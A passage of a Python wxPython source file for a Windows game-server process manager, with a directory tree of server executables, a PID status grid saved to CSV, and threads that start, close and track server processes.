self.CollapseAll)\n\n # 右键菜单\n def RightClickEvt(self, e):\n pos = e.GetPoint()\n self.PopupMenu(self.RightMenu(e), pos)\n e.Skip()\n\n # 创建右键菜单\n def RightMenu(self, e):\n subMenu = wx.Menu()\n subMenu.Append(wx.ID_OPEN, \"打开目录(&O)\")\n subMenu.Append(wx.ID_ADD, \"加入选项(&A)\")\n subMenu.Append(wx.ID_DELETE, \"移出选项(&D)\")\n subMenu.Bind(wx.EVT_MENU, self.PopupMenuEvt)\n e.Skip()\n return subMenu\n\n # 右键菜单监听事件\n def PopupMenuEvt(self, e):\n item = self.GetSelection()\n itemData = item.GetData()\n eId = e.GetId()\n if eId == wx.ID_OPEN:\n explorer_select_file(itemData)\n elif eId == wx.ID_ADD:\n self.CheckItem(item, True)\n self.AutoCheckChild(item, True)\n else:\n self.CheckItem(item, False)\n self.AutoCheckChild(item, False)\n e.Skip()\n\n # Json文件中的过滤项\n def GetFilter(self, jsonObj={}):\n filterList = []\n for key in jsonObj.keys():\n curFilter = jsonObj[key].get('filter', \"\")\n filterList.extend(curFilter if type(curFilter) is list else [jsonObj[key].get('filter', \"\")])\n filterList = list(set([exe.lower() for exe in filterList if exe]))\n return filterList\n\n # 添加按钮图片列表\n def addImageList(self):\n self.IconList = wx.ImageList(16, 16)\n self.IconList.Add(wx.ArtProvider.GetBitmap(wx.ART_HARDDISK, wx.ART_OTHER, size=(16, 16)))\n self.IconList.Add(wx.ArtProvider.GetBitmap(wx.ART_FOLDER, wx.ART_OTHER, size=(16, 16)))\n self.IconList.Add(wx.ArtProvider.GetBitmap(wx.ART_NORMAL_FILE, wx.ART_OTHER, size=(16, 16)))\n self.IconList.Add(wx.ArtProvider.GetBitmap(wx.ART_EXECUTABLE_FILE, wx.ART_OTHER, size=(16, 16)))\n self.IconList.Add(wx.ArtProvider.GetBitmap(wx.ART_ERROR, wx.ART_OTHER, size=(16, 16)))\n self.AssignImageList(self.IconList)\n\n # 创建树形结构\n def CreateTreeCtrl(self):\n self.rootNode = self.AddRoot(text=u\"计算机\", data=None, ct_type=0)\n for key in self.itemKeys:\n serverDir = self.JsonObj[key].get(\"settings\", dict()).get(\"rootdir\", None)\n self.ExeList = [exe.lower() for exe in self.JsonObj[key].keys() if exe.lower() != 'settings']\n self.EexFilter = self.GetFilter(self.JsonObj[key])\n if serverDir and os.path.isdir(serverDir):\n dirSplit = os.path.realpath(serverDir).split(os.sep)\n HardDisk = dirSplit[0]\n HardDiskDir = os.path.normpath(HardDisk + os.sep)\n HardDiskText = os.path.normpath(u\"本地磁盘 (%s)\" % HardDisk)\n HardDiskImage = 0\n HardDiskNode = self.FindItemByPath(self.GetRootItem(), HardDiskDir)\n if not HardDiskNode:\n HardDiskNode = self.AppendItem(self.rootNode, text=HardDiskText, data=HardDiskDir,\n image=HardDiskImage,\n ct_type=0)\n self.SelectItem(HardDiskNode)\n HardDiskNode.Check()\n for subdir in dirSplit:\n curDir = os.path.normpath(os.path.join(self.GetPath(), subdir))\n if not os.path.isdir(curDir):\n break\n subNode = self.FindItemByPath(self.GetRootItem(), curDir)\n if not subNode:\n subImage = 1 if os.path.isdir(curDir) else 3 if (\n os.path.isfile(curDir) and os.path.splitext(subdir)[1].lower() == '.exe') else 2\n subNode = self.AppendItem(self.GetSelection(), text=subdir, data=curDir, image=subImage,\n ct_type=1)\n self.SelectItem(subNode)\n subNode.Check()\n self.AddItems(self.GetSelection(), serverDir)\n\n if self.GetSelection() is not self.GetRootItem():\n self.Expand(self.GetSelection())\n self.root.SetStatusText(self.GetSelection().GetData(), 0)\n else:\n self.root.SetStatusText(u\"路径设置错误\", 0)\n self.CollapseAll(self.GetSelection())\n # self.CheckChilds(self.GetRootItem(), True)\n self.EnableTools()\n\n # 树形结构子项添加\n def AddItems(self, rootNode, rootDir):\n if not os.path.isdir(rootDir):\n return\n rootFileList = sorted(os.listdir(rootDir), key=lambda key: os.path.isdir(os.path.join(rootDir, key)),\n reverse=True)\n for itemText in rootFileList:\n subDir = os.path.normpath(os.path.join(rootDir, itemText))\n # 图标格式，对应imaglist\n (preName, fixName) = os.path.splitext(itemText)\n subImage = 1 if os.path.isdir(subDir) else 3 if (\n os.path.isfile(subDir) and preName.lower() in self.ExeList and fixName.lower() == '.exe') else 2\n if subImage == 2:\n continue\n if subImage == 1:\n if int(win32file.GetFileAttributesW(subDir)) == 22:\n continue\n os.chdir(subDir)\n FindExeList = glob.glob('./*/*/*/*.exe') or glob.glob('./*/*/*.exe') or glob.glob(\n './*/*.exe') or glob.glob('./*.exe')\n FindExeList = [os.path.splitext(os.path.basename(exe))[0].lower() for exe in FindExeList if exe]\n if not set(FindExeList).intersection(set(self.ExeList)):\n continue\n os.chdir(scriptDir)\n try:\n subNode = self.AppendItem(rootNode, text=itemText.encode('utf-8'), data=subDir, image=subImage,\n ct_type=1)\n except:\n continue\n if self.RightPanel.GetNumberRows() > 1:\n row, pid = self.RightPanel.FindRowByValue([os.path.normpath(rootDir), itemText], 2)\n if row != -1:\n subNode.Check()\n self.AutoCheckParent(subNode, True)\n else:\n if preName.lower() not in self.EexFilter and rootNode.IsChecked():\n subNode.Check()\n self.AutoCheckParent(subNode, True)\n if os.path.isdir(subDir):\n self.AddItems(subNode, subDir)\n\n # 获得焦点的路径\n def GetPath(self):\n return self.GetSelection().GetData()\n\n # 获得复选框选择项\n def GetCheckedItems(self, checkList=[], item=None):\n item = item or self.GetRootItem()\n itemData = item.GetData()\n if item.IsChecked():\n if itemData and os.path.splitext(itemData)[1].lower() == '.exe':\n checkList.append(item.GetData())\n # yield item.GetData()\n (child, cookie) = self.GetFirstChild(item)\n while child:\n self.GetCheckedItems(checkList, child)\n (child, cookie) = self.GetNextChild(item, cookie)\n return sorted(checkList, key=lambda key: self.JsonExe[os.path.splitext(os.path.basename(key))[0].lower()])\n\n # 根据json配置定义顺序，排序复选框选择项\n def SortCheckedItem(self, checkList=[]):\n for item in self.itemKeys:\n for exe in (sorted(self.JsonObj[item], key=lambda key: self.JsonObj[item][key].get('order', 9999))):\n if exe != 'settings':\n checkList.append(exe)\n return {key.lower(): value for value, key in enumerate(checkList)}\n\n # 展开指定路径\n def ExpandPath(self, path):\n rootItem = self.GetRootItem()\n self.CollapseAll(rootItem)\n item = self.FindItemByPath(rootItem, path)\n if item and item is not self.GetRootItem():\n self.ExpandUpNode(item)\n\n # 展开元素的所有父级元素\n def ExpandUpNode(self, item):\n itemParent = self.GetItemParent(item)\n if itemParent and itemParent is not self.GetRootItem():\n self.Expand(itemParent)\n self.ExpandUpNode(itemParent)\n self.Expand(item)\n self.SelectItem(item, True)\n\n # 收拢元素\n def CollapseAll(self, item=None):\n item = item or self.GetRootItem()\n if (type(item) is wx.lib.agw.customtreectrl.TreeEvent):\n item = item.GetItem()\n if item is not self.GetRootItem():\n item.Collapse()\n (child, cookie) = self.GetFirstChild(item)\n while child:\n child.Collapse()\n self.CollapseAll(child)\n (child, cookie) = self.GetNextChild(item, cookie)\n\n # 通过路径查找元素\n def FindItemByPath(self, parent=None, path=None):\n if not path:\n return False\n (child, cookie) = self.GetFirstChild(parent)\n while child:\n curPath = os.path.normpath(child.GetData()).lower()\n if curPath == os.path.normpath(path).lower():\n return child\n target = self.FindItemByPath(child, path)\n if target:\n return target\n (child, cookie) = self.GetNextChild(parent, cookie)\n return child\n\n # 复选框选择事件监听\n def BindChecked(self, e):\n item = e.GetItem()\n self.SelectItem(item, True)\n self.Expand(item)\n self.root.SetStatusText(item.GetData(), 0)\n self.EnableTools()\n wx.CallAfter(self.SelectGrid, e)\n e.Skip()\n\n # 定位表格\n def SelectGrid(self, e):\n item = e.GetItem()\n itemData = item.GetData()\n findRow, findPid = self.RightPanel.FindRowByValue(list(os.path.split(itemData)), 2)\n if findRow != -1:\n self.RightPanel.SelectRow(int(findRow))\n e.Skip()\n\n # 根据是否存在选择项，设定工具栏按钮状态\n def EnableTools(self):\n toolBar = self.root.GetToolBar()\n hasChecked = True if self.GetCheckedItems([], self.GetSelection()) else False\n\n toolBar.EnableTool(ID_Start, hasChecked)\n toolBar.EnableTool(ID_Pause, False)\n toolBar.EnableTool(ID_Close, hasChecked)\n\n toolBar.Realize()\n\n # 元素拖拽事件\n def OnDrag(self, e):\n item = e.GetItem()\n print(item.GetData())\n e.Skip()\n\n\n# TODO: 进程状态列表\nclass PidGrid(wx.grid.Grid):\n def __init__(self, parent=None, csvFile=\"./ProcessList.csv\"):\n super(PidGrid, self).__init__(parent=parent)\n self.parent = parent\n self.root = self.parent.root\n self.SetRowLabelSize(24)\n self.NowJob = None\n self.NewChange = False\n os.chdir(scriptDir)\n self.csvFile = os.path.normpath(os.path.abspath(csvFile))\n # wx.CallAfter(self.SetRowValueFromCsv)\n wx.CallLater(1000, self.SetRowValueFromCsv)\n\n self.Bind(wx.grid.EVT_GRID_CELL_RIGHT_CLICK, self.RightClickEvt)\n self.root.GetToolBar().Bind(wx.EVT_TOOL, self.RefreshTable, id=wx.ID_REFRESH)\n\n # 右键弹出菜单\n def RightClickEvt(self, e):\n self.SelectRow(e.GetRow())\n pos = e.GetPosition()\n self.PopupMenu(self.RightMenu(e), pos)\n e.Skip()\n\n # 创建右键菜单\n def RightMenu(self, e):\n row = self.GetSelectedRows()[0]\n rValue = list(self.GetRowValue(row))\n enable = True if int(rValue[3]) != -1 else False\n subMenu = wx.Menu()\n subMenu.Append(wx.ID_OPEN, \"打开目录(&O)\")\n subMenu.Append(ID_Switch, \"切换至(&F)\").Enable(enable)\n subMenu.Append(ID_Start, \"启动(&S)\").Enable(not enable)\n subMenu.Append(ID_Close, \"关闭(&C)\").Enable(enable)\n subMenu.Append(wx.ID_REMOVE, \"移除(&D)\")\n subMenu.Bind(wx.EVT_MENU, self.PopupMenuEvt)\n e.Skip()\n return subMenu\n\n # 右键菜单监听事件\n def PopupMenuEvt(self, e):\n eId = e.GetId()\n row = self.GetSelectedRows()[0]\n rValue = list(self.GetRowValue(row))\n if not rValue:\n return e.Skip()\n filePath = os.path.join(rValue[0], rValue[1])\n if eId == wx.ID_OPEN:\n explorer_select_file(filePath)\n elif eId == ID_Switch:\n SystemWindow.SetForegroundByPid(int(rValue[3]))\n elif eId == ID_Start:\n self.ReSetJob()\n self.NowJob = GridThreadTask(row=row, rValue=rValue, parent=self, BindId=eId)\n self.NowJob.start()\n elif eId == ID_Close:\n self.ReSetJob()\n pid = rValue[3]\n if pid != -1:\n self.NowJob = GridThreadTask(row=row, rValue=rValue, parent=self, BindId=eId)\n self.NowJob.start()\n else:\n self.ReSetJob()\n pid = rValue[3]\n if pid != -1:\n self.NowJob = GridThreadTask(row=row, rValue=rValue, parent=self, BindId=ID_Close, rmRow=True)\n self.NowJob.start()\n self.DeleteRows(row, 1)\n self.NewChange = True\n self.SaveToCsv()\n return e.Skip()\n e.Skip()\n\n def ReSetJob(self):\n if self.NowJob and self.NowJob.isAlive():\n self.NowJob.stop()\n del self.NowJob\n gc.collect()\n self.NowJob = None\n\n # 通过单元格值查找行号和pid\n def FindRowByValue(self, RowValueList, colnum=3):\n findRow = -1\n findPid = -1\n for row in range(self.GetNumberRows()):\n rValue = list(self.GetRowValue(row))\n if rValue[0:colnum] == RowValueList[0:colnum]:\n findPid = rValue[3]\n findRow = row\n line = 0 if row < 30 else row\n self.Scroll(0, line)\n # self.ScrollLines(31)\n break\n gc.collect()\n return findRow, findPid\n\n # 设置表格指定行的值\n def SetRowValue(self, row, RowValueList, colour=wx.BLACK, select=True):\n self.NewChange = True\n if select:\n self.SelectRow(row)\n self.SetRowSize(row, 18)\n for col in range(self.GetNumberCols()):\n self.SetCellTextColour(row, col, colour)\n cSize = len(str(RowValueList[col])) * 8\n if cSize > self.GetColSize(col):\n self.SetColSize(col, cSize)\n self.SetCellValue(row, col, str(RowValueList[col]))\n\n # 获取表格指定行的值\n def GetRowValue(self, row):\n for col in range(self.GetNumberCols()):\n yield self.GetCellValue(row=row, col=col).encode('utf-8')\n\n # 获取表头\n def GetRowHeader(self):\n for col in range(self.GetNumberCols()):\n yield self.GetColLabelValue(col).encode('utf-8')\n\n # 设置单元格值\n def AddCellValue(self, RowValueList):\n self.NewChange = True\n findRow, findPid = self.FindRowByValue(RowValueList)\n RowValueList[4] = \"正常\" if psutil.pid_exists(int(RowValueList[3])) and int(\n RowValueList[3]) not in [-1, 0] else \"异常\"\n RowValueList[3] = RowValueList[3] if psutil.pid_exists(int(RowValueList[3])) else -1\n colour = wx.BLACK if int(RowValueList[3]) not in [-1, 0] else wx.RED\n\n if int(findRow) != -1:\n self.SetRowValue(findRow, RowValueList, colour)\n else:\n self.InsertRows(self.GetNumberRows(), 1, True)\n if len(RowValueList) > self.GetNumberCols():\n self.InsertCols(self.GetNumberRows(), len(RowValueList) - self.GetNumberCols(), True)\n self.SetRowValue(self.GetNumberRows() - 1, RowValueList, colour)\n\n # csv文件保存\n def SaveToCsv(self):\n if not self.NewChange:\n return\n rows = self.GetNumberRows()\n # cols = self.GetNumberCols()\n csvFP = open(os.path.realpath(self.csvFile), 'w')\n csvObj = csv.writer(csvFP)\n csvObj.writerow(list(self.GetRowHeader()))\n for row in range(rows):\n rValue = list(self.GetRowValue(row))\n if psutil.pid_exists(int(rValue[3])):\n csvObj.writerow(rValue)\n else:\n rValue[3] = str(FindProcess(rValue[0], rValue[1], rValue[2]))\n rValue[4] = \"异常\"\n colour = wx.RED if int(rValue[3]) == -1 else wx.BLACK\n self.SetRowValue(row, rValue, colour, False)\n csvObj.writerow(rValue)\n csvFP.close()\n self.NewChange = False\n\n # 表格刷新\n def RefreshTable(self, e):\n rows = self.GetNumberRows()\n if rows > 1:\n for row in range(rows):\n rValue = list(self.GetRowValue(row))\n if psutil.pid_exists(int(rValue[3])) and int(rValue[3]) != 0:\n continue\n else:\n wx.CallAfter(self.ReSetRowValue, row=row, rValue=rValue)\n else:\n self.SetRowValueFromCsv()\n if e:\n e.Skip()\n\n # 重新设置表格值\n def ReSetRowValue(self, row, rValue):\n self.NewChange = True\n pid = FindProcess(rValue[0], rValue[1], rValue[2])\n rValue[3] = str(pid)\n rValue[4] = \"异常\" if int(rValue[3]) == -1 else \"正常\"\n colour = wx.RED if int(rValue[3]) == -1 else wx.BLACK\n self.SetRowValue(row, rValue, colour, False)\n\n # 从csv初始化表格\n def SetRowValueFromCsv(self):\n self.NewChange = True\n try:\n self.CreateGrid(0, 5)\n except Exception as e:\n print(e)\n if not os.path.isfile(self.csvFile):\n for index, data in enumerate(['目录', '进程名', '参数', 'Pid', '状态']):\n self.SetColLabelValue(index, data)\n return\n with open(self.csvFile, 'rb') as csvFile:\n csvFile.seek(0)\n try:\n dialect = csv.Sniffer().sniff(csvFile.read(1024))\n except Exception as e:\n print(e)\n return\n csvFile.seek(0)\n csvreader = list(csv.reader(csvFile, dialect))\n rows = len(csvreader)\n cols = len(csvreader[0])\n for index, data in enumerate(csvreader[0]):\n self.SetColLabelValue(index, data)\n for row in range(1, rows):\n rValue = csvreader[row]\n if not psutil.pid_exists(int(rValue[3])) or int(rValue[3]) == 0:\n rValue[3] = FindProcess(rValue[0], rValue[1], rValue[2])\n self.AddCellValue(rValue)\n\n\n# TODO: 树形结构执行任务\nclass ThreadTask(threading.Thread):\n def __init__(self, **kwargs):\n super(ThreadTask, self).__init__()\n self.__flag = threading.Event()\n self.__flag.set()\n self.__running = threading.Event()\n self.__running.set()\n self.setDaemon(True)\n self.kwargs = kwargs\n\n self.parent = self.kwargs.get('parent', None)\n self.BindId = self.kwargs.get('BindId', None)\n\n self.root = self.parent.root\n self.menuBar = self.root.GetMenuBar()\n self.toolbar = self.root.GetToolBar()\n\n self.treectrl = self.parent.PageOne.LeftPanel\n self.gridctrl = self.parent.PageOne.RightPanel\n self.logctrl = self.parent.PageTwo\n\n def pause(self):\n self.__flag.clear()\n self.root.SetStatusText(\"暂停\", 2)\n self.logctrl.AppendInfo('暂停')\n return gc.collect()\n\n def restart(self):\n self.__flag.set()\n self.root.SetStatusText(\"继续\", 2)\n self.logctrl.AppendInfo('继续')\n return gc.collect()\n\n def isPaused(self):\n return self.__flag.isSet()\n\n def isStoped(self):\n return not self.__running.isSet()\n\n def stop(self):\n # self.treectrl.Enable(True)\n self.__running.clear()\n self.__flag.set()\n wx.CallAfter(self.gridctrl.SaveToCsv)\n if (self.menuBar.FindItemById(ID_REDIS).IsChecked()) and self.BindId == ID_Close:\n self.parent.SaveRedis()\n if (self.menuBar.FindItemById(ID_MONGO).IsChecked()) and self.BindId == ID_Close:\n self.parent.SaveMongo()\n if (self.menuBar.FindItemById(ID_AFTER).IsChecked()):\n self.after()\n self.root.SetStatusText(\"停止\", 2)\n self.logctrl.AppendInfo('停止')\n return gc.collect()\n\n def befor(self):\n if os.path.isfile(PRE_PY_SCRIPT) and os.path.splitext(PRE_PY_SCRIPT)[1].lower() == '.py':\n self.root.SetStatusText(PRE_PY_SCRIPT, 0)\n self.root.SetStatusText(\"正在执行外部脚本...\", 1)\n self.logctrl.AppendWarn('正在执行外部脚本,{0}'.format(PRE_PY_SCRIPT))\n os.popen(\"python \" + PRE_PY_SCRIPT)\n self.root.SetStatusText(\"脚本调用结束\", 1)\n self.logctrl.AppendInfo('脚本调用结束')\n\n else:\n self.root.SetStatusText(\"外部准备脚本不存在\", 1)\n self.logctrl.AppendError('外部准备脚本不存在,{0}'.format(PRE_PY_SCRIPT))\n\n def after(self):\n if os.path.isfile(AFTER_PY_SCRIPT) and os.path.splitext(AFTER_PY_SCRIPT)[1].lower() == '.py':\n self.root.SetStatusText(AFTER_PY_SCRIPT, 0)\n self.root.SetStatusText(\"正在执行外部脚本...\", 1)\n self.logctrl.AppendWarn('正在执行外部脚本,{0}'.format(AFTER_PY_SCRIPT))\n os.popen(\"python \" + AFTER_PY_SCRIPT)\n self.root.SetStatusText(\"脚本调用结束\", 1)\n self.logctrl.AppendInfo('脚本调用结束')\n else:\n self.root.SetStatusText(\"外部恢复脚本不存在\", 1)\n self.logctrl.AppendError('外部准备脚本不存在,{0}'.format(AFTER_PY_SCRIPT))\n\n def run(self):\n # self.treectrl.Enable(False)\n itemList = self.kwargs.get('ProcessList', None)\n if (self.menuBar.FindItemById(ID_PREPARE).IsChecked()):\n self.befor()\n if not itemList:\n wx.CallAfter(self.gridctrl.SaveToCsv)\n return gc.collect()\n if self.BindId == ID_Close:\n itemList.reverse()\n for index, item in enumerate(itemList):\n self.__flag.wait()\n if not self.__running.isSet():\n return gc.collect()\n dirPath = os.path.dirname(item)\n exeName = os.path.basename(item)\n parameters = self.parent.GetParameters(os.path.splitext(exeName)[0])\n if parameters:\n for parameter in parameters:\n if self.BindId == ID_Start:\n self.openJob(exeName, parameter, dirPath)\n else:\n self.killJob(exeName, parameter, dirPath)\n else:\n if self.BindId == ID_Start:\n self.openJob(exeName, \"\", dirPath)\n else:\n self.killJob(exeName, \"\", dirPath)\n self.stop()\n self.toolbar.ToggleBitmap(self.BindId)\n self.root.SetStatusText(\"完成\", 2)\n\n def openJob(self, exe, arg, workdir):\n row, pid = self.gridctrl.FindRowByValue([workdir, exe, arg], 3)\n if row != -1:\n self.gridctrl.SelectRow(row)\n fpid = FindProcess(workdir, exe, arg)\n self.logctrl.AppendWarn(\"准备开启进程'{0} {1}',工作路径为'{1}'\".format(exe, arg, workdir))\n # 查看进程是否已开启\n if psutil.pid_exists(int(fpid)):\n BoxID = self.root.warnBox(\n \"'{0}'似乎已开启，检测到Pid为'{1}', \\n确认是否跳过！\".format(os.path.join(workdir, exe) + \" \" + arg, fpid))\n self.logctrl.AppendWarn(\n \"'{0}'似乎已开启，检测到Pid为'{1}', \\n确认是否跳过！\".format(os.path.join(workdir, exe) + \" \" + arg, fpid))\n if BoxID == wx.ID_OK:\n self.root.SetStatusText(\"跳过开启进程{0} {1}\".format(exe, arg), 1)\n self.logctrl.AppendWarn(\"跳过开启进程{0} {1}\".format(exe, arg))\n if int(pid) != int(fpid):\n pid = fpid\n RowValueList = [workdir, exe, arg, pid, \"正常\"]\n self.gridctrl.AddCellValue(RowValueList)\n # wx.CallAfter(self.gridctrl.SaveToCsv)\n gc.collect()\n return\n self.logctrl.AppendWarn(\"继续开启进程{0}\".format(exe))\n\n GetChdir(workdir)\n cmdLine = \"start {0} {1}\".format(exe, \" \".join(arg.split(\",\")))\n os.popen(cmdLine)\n # 新产生pid\n newPid = FindProcess(workdir, exe, arg)\n pid = SystemWindow.StartServer(newPid)\n RowValueList = [workdir, exe, arg, pid, \"正常\"]\n # 执行失败\n if not psutil.pid_exists(int(pid)):\n BoxID = self.root.errorBox(\"'{0} {1}'开服失败，请排查原因！\".format(os.path.join(workdir, exe), arg))\n self.logctrl.AppendError(\"'{0} {1}'开服失败，请排查原因！\".format(os.path.join(workdir, exe), arg))\n if BoxID == wx.ID_OK:\n self.root.SetStatusText(\"开启进程{0} {1}失败\".format(exe, arg), 1)\n else:\n self.root.SetStatusText(\"成功开启进程'{0} {1}',pid={2}\".format(exe, arg, pid), 1)\n self.logctrl.AppendInfo(\"成功开启进程'{0} {1}',pid={2}\".format(exe, arg, pid))\n\n self.gridctrl.AddCellValue(RowValueList)\n GetChdir(scriptDir)\n # wx.CallAfter(self.gridctrl.SaveToCsv)\n wait_time(TIME_SLEEP)\n return pid\n\n def killJob(self, exe, arg, workdir):\n # 查看表格中是否有相关项\n row, pid = self.gridctrl.FindRowByValue([workdir, exe, arg], 3)\n if row != -1:\n self.gridctrl.SelectRow(row)\n # 查找进程中是否有相关项\n if not psutil.pid_exists(int(pid)):\n pid = int(FindProcess(workdir, exe, arg))\n elif not psutil.Process(int(pid)).name().lower() == exe.lower():\n pid = int(FindProcess(workdir, exe, arg))\n elif not IsSameDir(psutil.Process(int(pid)).cwd(), workdir):\n pid = int(FindProcess(workdir, exe, arg))\n elif not psutil.Process(int(pid)).cmdline()[1:] == arg.strip().split():\n pid = int(FindProcess(workdir, exe, arg))\n else:\n pid = int(pid)\n self.logctrl.AppendInfo(\"准备关闭进程'{0} {1}',工作路径为'{2}',pid={3}\".format(exe, arg, workdir, str(pid)))\n # 如果没有进程，则把信息保存到表格和csv文件，并跳过\n if not psutil.pid_exists(pid) or pid == 0:\n RowValueList = [workdir, exe, arg, -1, \"异常\"]\n if row != -1:\n self.gridctrl.ReSetRowValue(row, RowValueList)\n # else:\n # self.gridctrl.AddCellValue(RowValueList)\n # wx.CallAfter(self.gridctrl.SaveToCsv)\n self.root.SetStatusText(\"进程'{0} {1}'不存在\".format(exe, arg), 1)\n self.logctrl.AppendError(\"进程'{0} {1}'不存在\".format(exe, arg))\n return\n # 根据pid杀进程\n try:\n SystemWindow.CloseWindowByPid(pid)\n self.root.SetStatusText(\"成功关闭进程'{0} {1}',pid={2}\".format(exe, arg, pid), 1)\n self.logctrl.AppendInfo(\"成功关闭进程'{0} {1}',pid={2}\".format(exe, arg, pid))\n pid = -1\n except Exception as e:\n self.root.SetStatusText(\"关闭进程'{0} {1}'操作异常,pid={2}\".format(exe, arg, pid), 1)\n self.logctrl.AppendError(\"关闭进程'{0} {1}'操作异常,pid={2}\\n{3}\".format(exe, arg, pid, e))\n\n # 保存信息\n RowValueList = [workdir, exe, arg, str(pid), \"异常\"]\n self.gridctrl.AddCellValue(RowValueList)\n # wx.CallAfter(self.gridctrl.SaveToCsv)\n wait_time(TIME_SLEEP)\n return pid\n\n\n# TODO: 表格右键菜单执行任务\nclass GridThreadTask(threading.Thread):\n def __init__(self, **kwargs):\n super(GridThreadTask, self).__init__()\n self.__flag = threading.Event()\n self.__flag.set()\n self.__running = threading.Event()\n self.__running.set()\n self.setDaemon(True)\n self.kwargs = kwargs\n\n self.parent = self.kwargs.get('parent', None)\n self.root = self.parent.root\n self.logctrl = self.parent.parent.parent.PageTwo\n\n self.BindId = self.kwargs.get('BindId', None)\n self.row = int(self.kwargs.get('row', None))\n self.rValue = self.kwargs.get('rValue', None)\n self.rmRow = self.kwargs.get('rmRow', False)\n\n def pause(self):\n self.__flag.clear()\n\n def restart(self):\n self.__flag.set()\n\n def isPaused(self):\n return self.__flag.isSet()\n\n def isStoped(self):\n return not self.__running.isSet()\n\n def stop(self):\n self.__running.clear()\n self.__flag.set()\n wx.CallAfter(self.parent.SaveToCsv)\n return gc.collect()\n\n def run(self):\n while self.__running.isSet():\n self.__flag.wait()\n dirPath = self.rValue[0]\n exeName = self.rValue[1]\n arg = self.rValue[2]\n if self.BindId == ID_Start:\n self.openJob(exeName, arg, dirPath)\n else:\n self.killJob(exeName, arg, dirPath)\n self.stop()\n\n def openJob(self, exe, arg, workdir):\n self.parent.SelectRow(self.row)\n self.logctrl.AppendInfo(\"准备开启进程'{0} {1}',工作路径为'{2}'\".format(exe, arg, workdir))\n pid = FindProcess(self.rValue[0], self.rValue[1], self.rValue[2])\n # 查看进程是否已开启\n if psutil.pid_exists(int(pid)):\n BoxID = self.parent.root.warnBox(\n \"'{0}'似乎已开启，检测到Pid为'{1}', \\n确认是否跳过！\".format(os.path.join(workdir, exe) + \" \" + arg, pid))\n\n self.logctrl.AppendWarn(\n \"'{0}'似乎已开启，检测到Pid为'{1}', \\n确认是否跳过！\".format(os.path.join(workdir, exe) + \" \" + arg, pid))\n\n if BoxID == wx.ID_OK:\n self.root.SetStatusText(\"跳过开启进程{0} {1}\".format(exe, arg), 1)\n self.logctrl.AppendWarn(\"跳过开启进程{0} {1}\".format(exe, arg))\n self.rValue[3] = pid\n self.parent.ReSetRowValue(self.row, self.rValue)\n # wx.CallAfter(self.parent.SaveToCsv)\n return gc.collect()\n self.logctrl.AppendWarn(\"继续开启进程{0} {1}\".format(exe, arg))\n if type(workdir) is str:\n workdir = workdir.decode('utf-8')\n GetChdir(workdir)\n cmdLine = \"start {0} {1}\".format(exe, \" \".join(arg.split(\",\")))\n os.popen(cmdLine)\n\n # 新产生pid\n newPid = FindProcess(self.rValue[0], self.rValue[1], self.rValue[2])\n pid = SystemWindow.StartServer(newPid)\n # 执行失败\n if not psutil.pid_exists(int(pid)):\n BoxID = self.root.errorBox(\"'{0} {1}'开服失败，请排查原因！\".format(os.path.join(workdir, exe), arg))\n self.logctrl.AppendError(\"'{0} {1}'开服失败，请排查原因！\".format(os.path.join(workdir, exe), arg))\n if BoxID == wx.ID_OK:\n self.root.SetStatusText(\"开启进程{0} {1}失败\".format(exe, arg), 1)\n self.rValue[3] = -1\n self.parent.ReSetRowValue(self.row, self.rValue)\n # wx.CallAfter(self.parent.SaveToCsv)\n return -1\n\n self.root.SetStatusText(\"成功开启进程'{0} {1}',pid={2}\".format(exe, arg, pid), 1)\n self.logctrl.AppendInfo(\"成功开启进程'{0} {1}',pid={2}\".format(exe, arg, pid))\n self.rValue[3] = pid\n self.parent.ReSetRowValue(self.row, self.rValue)\n GetChdir(scriptDir)\n # wx.CallAfter(self.parent.SaveToCsv)\n wait_time(TIME_SLEEP)\n return pid\n\n def killJob(self, exe, arg, workdir):\n self.parent.SelectRow(self.row)\n # 查看表格中是否有相关项\n pid = self.rValue[3]\n if not psutil.pid_exists(int(pid)):\n pid = int(FindProcess(workdir, exe, arg))\n elif not psutil.Process(int(pid)).name().lower() == exe.lower():\n pid = int(FindProcess(workdir, exe, arg))\n elif not IsSameDir(psutil.Process(int(pid)).cwd(), workdir):\n pid = int(FindProcess(workdir, exe, arg))\n elif not psutil.Process(int(pid)).cmdline()[1:] == arg.strip().split():\n pid = int(FindProcess(workdir, exe, arg))\n else:\n pid = int(pid)\n self.logctrl.AppendInfo(\"准备关闭进程'{0} {1}',工作路径为'{2}',pid={3}\".format(exe, arg, workdir, pid))\n\n # 如果没有进程，则把信息保存到表格和csv文件，并跳过\n if not psutil.pid_exists(pid) or pid == 0:\n self.root.SetStatusText(\"进程'{0} {1}'不存在\".format(exe, arg), 1)\n self.logctrl.AppendError(\"进程'{0} {1}'不存在\".format(exe, arg))\n self.rValue[3] = -1\n if not self.rmRow:\n self.parent.ReSetRowValue(self.row, self.rValue)\n # wx.CallAfter(self.parent.SaveToCsv)\n return\n # 根据pid杀进程\n try:\n # os.kill(pid, 9)\n # rtn = os.popen(\"taskkill /PID:{0} /F /T\".format(pid)).read().decode('gbk')\n SystemWindow.CloseWindowByPid(pid)\n self.root.SetStatusText(\"成功关闭进程'{0} {1}',pid={2}\".format(exe, arg, pid), 1)\n self.logctrl.AppendInfo(\"成功关闭进程'{0} {1}',pid={2}\".format(exe, arg, pid))\n pid = -1\n except Exception as e:\n self.root.SetStatusText(\"关闭进程'{0}'操作异常,pid={1}\".format(exe, pid), 1)\n self.logctrl.AppendError(\"关闭进程'{0}'操作异常,pid={1}\\n{2}\".format(exe, pid, e))\n self.rValue[3] = pid\n # 保存信息\n if not self.rmRow:\n self.parent.ReSetRowValue(self.row, self.rValue)\n # wx.CallAfter(self.parent.SaveToCsv)\n wait_time(TIME_SLEEP)\n return pid\n\n\n# TODO: 最小化托盘\nclass TaskBarIcon(wx.adv.TaskBarIcon):\n def __init__(self, frame):\n super(TaskBarIcon, self).__init__()\n self.MainFrame = frame\n self.initID()\n self.initUI()\n self.initBind()\n\n # 生成组件ID\n def initID(self):\n self.ViewID = wx.NewId()\n\n # 生成界面\n def initUI(self):\n self.settings()\n\n # 事件监控\n def initBind(self):\n self.Bind(wx.adv.EVT_TASKBAR_LEFT_DCLICK, self.OnDclick)\n # 监听菜单栏中的退出选项\n\n # 基础设置\n def settings(self):\n from wx.lib.embeddedimage import PyEmbeddedImage\n icon = PyEmbeddedImage(B64_POKER128).GetIcon()\n if self.MainFrame.IsShown():\n self.MainFrame.Hide()\n self.SetIcon(icon, u'游戏进程管理器')\n\n # 生成最小化菜单, 默认右键单击调用PopupMenu方法呼出菜单\n def CreatePopupMenu(self):\n self.TaskBarIconMenu = wx.Menu()\n # 